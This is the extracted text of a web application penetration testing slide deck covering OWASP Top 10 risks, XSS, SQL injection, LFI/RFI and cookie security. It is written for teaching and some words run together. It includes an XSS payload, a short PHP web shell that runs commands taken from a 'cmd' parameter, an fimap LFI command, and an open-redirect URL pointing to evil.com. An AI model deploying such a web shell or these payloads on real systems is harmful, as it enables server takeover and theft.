PENETRATION TESTING WEB APPLICATION/WEB APPLICATION (IN) SECURITY@nahidupa
WEB APPLICATION (IN)SECURITY Whyshouldwecareasasoftwarecompany?
DISCLAIMER Do notuse anythingyou learn here withoutlegalauthorization “with greatpower comes greatresponsibility” –also with great Knowledge comes great I'm copied text/images from internethere and there... it's not posssible to mention allsource thanks all.
WHAT IS NOT WEB APPLICATION SECURITY? NotNetwork Security Network SecurityMostlyIgnores the Contents of HTTP Traffic. Firewalls, Intrusion Detection Systems.
TODAYS SCOPE We willlearn basis Notgoingtoo much details on developing/defense Tryto show some automation
STANDARD WEB MODEL
WEB APPLICATION THREAT SURFACE XSS CSRF Parameter tempering /sniffing DirectoryTraversal FORGED TOKEN DIRECTOBJECT REFERENCE Click jacking XML Injection SQLInjection
THERE ARE MANY WEB APPLICATION SECURITY RISKS
OWASP TOP 10 WEB APPLICATION SECURITY RISKS
OWASP RISK RATING METHODOLOGY
OWASP RISK RATING METHODOLOGY
OWASP RISK RATING METHODOLOGY
OWASP RISK RATING METHODOLOGY
OWASP RISK RATING METHODOLOGY
OWASP RISK RATING METHODOLOGY
OWASP RISK RATING METHODOLOGY
OWASP RISK RATING METHODOLOGY
OWASP RISK RATING METHODOLOGY
OWASP RISK RATING METHODOLOGY
TOP 10 2013-RISK
BASIC HTTP AND HTTPS PROTOCOLS HTTP is connection less HTTP is mediaindependent HTTP is stateless more
MYTH OF WEB APPLICATION SECURITY AND REALITY more
PENETRATION TESTING We can tryin offensive way
PENETRATION TESTING Attemptto compromise securitybyusingthe same techniques of the attacker If I was an attacker, how far would I be able to go? How easyis itto compromise this computer |network | application | system?
WHY PENETRATION TESTING? Hack yourself before someone else do. Save Money!=== Save reputation!
INFORMATION GATHER ON TARGET The Dark Arts of Open-source intelligence (OSINT)
NMAP More on ppt
WHAT WEB CMS Identification WP Scan Plecost BlindElephant.pyhttp://127.0.0.1 guess
WEB BROWSER SECURITY MODELS The same origin policy The cookies securitymode The Flash securitymodel/SandBox (Class 5 RIA)
SAME ORIGIN POLICY The same origin policyprevents documentor scriptloaded from one origin, from gettingor settingproperties from aof a documentfrom adifferentorigin. An origin is defined as the combination of hostname, protocol, and portnumber;
URL ANATOMY Globalidentifiers of network-retrievable documents Specialcharacters are encoded as hex: %0A= newline %20 = space, %2Bmean +
EXCEPTIONS TO THE SAME ORIGIN POLICY Browsers can be instructed to allow limited exceptions to the same origin policy by setting JavaScript’s document. Domain variable on the requested page. Ifhttp://www.foo.com/bar/baz.htmlhadthefollowinginitspage, <script> document.domain="foo.com"; </script> thenhttp://xyz.foo.com/anywhere.htmlcansendanHTTPrequestto http://www.foo.com/bar/baz.htmlandreaditscontents.
BUT BUT BUT …. You cannot put any domain in document.domain. The document.domainmust be the superdomain of the domain from which the page originated, such as foo.com from . <iframesrc="http://www.foo.com/bar/baz.html" onload="frames[0].document.body.innerHTML+=’< imgsrc=xonerror=alert(1)’“></iframe> www.foo.com
WHAT HAPPENS IF THE SAME ORIGIN POLICY IS BROKEN?
CROSS-SITE SCRIPTING (XSS) XSS is an attack technique thatforces aWeb site to display malicious code, which then executes in auser’s Web browser.
HOW ?? While browser parse htmlif found scripttagitload as script/JavaScript
XSS TYPE Non-persistent DOM-based Persistent
WHAT MAKES XSS SO SCARY?
WHAT CAN AN ATTACKER DO WITH XSS HistoryStealing IntranetHacking XSS Defacements DNS pinning HackingJSON Cookie stealing Clipboard stealing Even more?Whatelse you need?
HISTORY STEALING Anyidea?
Browser make previouslyvisited link in differentcolor HISTORY STEALING
RESULT
REAL LIFE EXAMPLE(EXPOSED) Who Stealingyou history
INTRANET HACKING
OBTAINING NAT’ED IP ADDRESSES
PORT SCANNING
CODE window.onerror=err; if(!msg.match(/Errorloadingscript/)) //ipdoesnotexit’s Else Findinternalip
BLIND WEB SERVER FINGERPRINTING ApacheWebServer /icons/apache_pb.gif HPPrinter /hp/device/hp_invent_logo.gif <'imgsrc="http://intranet_ip/unique_image_url">
XSS DEFACEMENTS
COOKIE STEALING
HOW TO FIND THIS TYPE OF BUG ? demo ...lab
PR3VENTING
SQL INJECTION
TOOLS Tamper Data
HANDS ON
CSRF(CROSS-SITE REQUEST FORGERY) more The SleepingGiant
LFI(LOCAL FILE INCLUSION)
DEMO
TOOLS ./fimap.py-u http://127.0.0.1/mutillidae/?page=
RFI(REMOTE FILE INCLUSION) Remote File Inclusion (RFI) is atype of vulnerabilitymostoften found on websites, itallows an attacker to include aremote file usuallythrough ascripton the web server
if (!empty($_GET['cmd '])){ echo("<pre>"); $ff=$_GET['cmd ']; system($ff); echo("</pre>"); }?> WEB SHELL <?php
DEMO
REVIEW WHAT WE DONE SO FAR
BROKEN AUTHENTICATION AND SESSION MANAGEMENT more in ppt
EDIT COOKIE
GO PPT
INSECURE DIRECT OBJECT REFERENCES http://example.com/app/accountInfo?acct=345345345 http://example.com/app/accountInfo?acct=643343341 http://example.com/app/accountInfo?acct=84334d340
USING COMPONENTS WITH KNOWN VULNERABILITIES
UNVALIDATED REDIRECTS AND FORWARDS
SCENARIO #1: The application has apage called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts amalicious URL thatredirects users to amalicious site thatperforms phishingand installs malware. http://www.example.com/redirect.jsp?url=evil.com
SCENARIO #2: The application uses forward to route requests between differentparts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sentif a transaction is successful. In this case, the attacker crafts aURL thatwillpass the application’s access controlcheck and then forward the attacker to an administrative function thatshe would notnormallybe able to access. http://www.example.com/boring.jsp?fwd=admin.jsp
Watcher-fidler addon-https://websecuritytool.codeplex.com/ http-open-redirectNSE Script
SECURITY MISCONFIGURATION Customise your error messages http://www.troyhunt.com/2010/12/owasp-top-10-for-net- developers-part-6.html
HOW MANY TIME YOU SAW THIS IN LIVE SERVER?
WATOBO
MIXED CONTENT: HTTP AND HTTPS
MITIGATION HTTP StrictTransportSecurity(HSTS) ContentSecurityPolicy(CSP)
CALOMEL
COOKIE SECURITY POLICY Path attribute:domain securitymodel http://x.y.z.com/a/WebApp setacookie with path /a; then the cookie would be sentto allrequests to http://x.y.z.com/a/*only. The cookie would notbe sentto http://x.y.z.com/index.htmlor http://x.y.z.com/a/b/index.html.
COOKIE SECURITY POLICY Secure attribute:Ifacookie hasthisattribute set,the cookie issent onlyonHTTPS requests.
HTTPONLY COOKIES HttpOnlyattribute
DEMO
OWASP TESTING FRAMEWORK OWASP TestingGuide More in PPT
AUTOMATION AND MOBILE
THE END @nahidupa AbitaboutOWASP Bangladesh

Penetration testing web application web application (in) security